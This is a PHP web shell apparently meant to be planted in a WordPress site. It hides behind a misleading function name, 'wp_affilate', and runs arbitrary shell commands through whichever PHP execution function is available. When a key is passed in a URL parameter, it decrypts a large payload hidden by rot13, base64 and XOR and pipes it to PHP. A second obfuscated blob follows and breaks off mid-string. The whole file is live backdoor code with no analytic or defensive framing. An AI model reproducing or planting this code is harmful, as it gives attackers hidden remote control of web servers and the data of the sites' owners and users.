<?php
@error_reporting(0);
@set_time_limit(3600);

function wp_affilate($cmd) {
    $output = null;
    
    if (function_exists('proc_open')) {
        $desc = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w'],
        ];
        $proc = proc_open($cmd, $desc, $pipes);
        if (is_resource($proc)) {
            fclose($pipes[0]);
            $output = stream_get_contents($pipes[1]);
            $output .= stream_get_contents($pipes[2]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($proc);
            return ['proc_open', $output];
        }
    }

    
    if (function_exists('system')) {
        ob_start();
        system($cmd . " 2>&1");
        $output = ob_get_clean();
        if ($output !== false) return ['system', $output];
    }

    
    if (function_exists('exec')) {
        $lines = [];
        exec($cmd . " 2>&1", $lines);
        $output = implode("\n", $lines);
        if ($output !== '') return ['exec', $output];
    }

    
    if (function_exists('passthru')) {
        ob_start();
        passthru($cmd . " 2>&1");
        $output = ob_get_clean();
        if ($output !== false) return ['passthru', $output];
    }

    
    if (function_exists('shell_exec')) {
        $output = shell_exec($cmd . " 2>&1");
        if ($output !== null) return ['shell_exec', $output];
    }

    
    if (function_exists('popen')) {
        $handle = popen($cmd . " 2>&1", 'r');
        if ($handle) {
            $output = stream_get_contents($handle);
            pclose($handle);
            return ['popen', $output];
        }
    }


    
    if (function_exists('pcntl_fork') && function_exists('pcntl_exec')) {
        $tmpfile = tempnam("/tmp", "cmd_");
        $pid = pcntl_fork();
        if ($pid == 0) {
            
            pcntl_exec('/bin/bash', ['-c', "$cmd > $tmpfile 2>&1"]);
            exit(0);
        } elseif ($pid > 0) {
            pcntl_waitpid($pid, $status);
            $output = file_get_contents($tmpfile);
            unlink($tmpfile);
            return ['pcntl_exec', $output];
        }
    }


    return ['none', 'no worked methods'];
}



if(isset($_GET['r']))
{$r = $_GET['r'];

$estring_b64 = "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";

$estring_b64 =    str_rot13($estring_b64);
$estring_b64 = base64_decode($estring_b64);
$out = '';
    for ($i = 0; $i < strlen($estring_b64); $i++) {
        $out .= $estring_b64[$i] ^ $r[$i % strlen($r)];
    }
$estring_b64 = base64_encode($out);

$result = wp_affilate("echo '$estring_b64'|base64 -d | php");
echo " [{$result[0]}]\n";

$estring2 = "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